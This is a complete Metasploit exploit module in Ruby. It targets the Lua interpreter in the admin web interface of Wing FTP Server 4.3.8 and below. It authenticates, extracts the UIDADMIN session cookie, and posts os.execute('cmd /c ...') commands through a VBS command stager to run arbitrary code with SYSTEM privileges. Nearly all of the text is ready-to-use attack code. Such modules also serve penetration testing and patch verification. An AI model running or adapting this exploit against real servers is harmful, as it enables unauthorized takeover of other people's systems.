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Wing FTP Server Authenticated Command Execution

Posted on 30 August 2014

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 include Msf::Exploit::CmdStager
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Wing FTP Server Authenticated Command Execution',
 'Description' => %q{
 This module exploits the embedded Lua interpreter in the admin web interface for
 versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
 an attacker can use os.execute() to execute arbitrary system commands on
 the target with SYSTEM privileges.
 },
 'Author' =>
 [
 'Nicholas Nam <nick[at]executionflow.org>'
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 [ 'URL', 'http://www.wftpserver.com' ]
 ],
 'Arch' => ARCH_X86,
 'Platform' => 'win',
 'Targets' =>
 [
 [ 'Windows VBS Stager', {} ]
 ],
 'Privileged' => true,
 'DisclosureDate' => 'Jun 19 2014',
 'DefaultTarget' => 0
 ))

 register_options(
 [
 Opt::RPORT(5466),
 OptString.new('USERNAME', [true, 'Admin username', '']),
 OptString.new('PASSWORD', [true, 'Admin password', ''])
 ], self.class
 )
 deregister_options('CMDSTAGER::FLAVOR')
 end

 def check
 res = send_request_cgi(
 {
 'uri' => '/admin_login.html',
 'method' => 'GET'
 })

 if !res
 fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
 elsif res.code != 200
 fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
 elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com</b>/
 return Exploit::CheckCode::Appears
 end

 Exploit::CheckCode::Safe
 end

 def exploit
 username = datastore['USERNAME']
 password = datastore['PASSWORD']
 @session_cookie = authenticate(username, password)

 print_status("#{peer} - Sending payload")
 # Execute the cmdstager, max length of the commands is ~1500
 execute_cmdstager(flavor: :vbs, linemax: 1500)
 end

 def execute_command(cmd, _opts = {})
 command = "os.execute('cmd /c #{cmd}')"

 res = send_request_cgi(
 'uri' => '/admin_lua_script.html',
 'method' => 'POST',
 'cookie' => @session_cookie,
 'vars_post' => { 'command' => command }
 )

 if res && res.code != 200
 fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
 end
 end

 def authenticate(username, password)
 print_status("#{peer} - Authenticating")
 res = send_request_cgi(
 'uri' => '/admin_loginok.html',
 'method' => 'POST',
 'vars_post' => {
 'username' => username,
 'password' => password,
 'username_val' => username,
 'password_val' => password,
 'submit_btn' => '+Login+'
 }
 )

 uidadmin = ''
 if !res
 fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
 elsif res.code == 200 && res.body =~ /location='main.html?lang=english';/
 res.get_cookies.split(';').each do |cookie|
 cookie.split(',').each do |value|
 uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
 end
 end
 else
 fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
 end

 "UIDADMIN=#{uidadmin}"
 end
end

 

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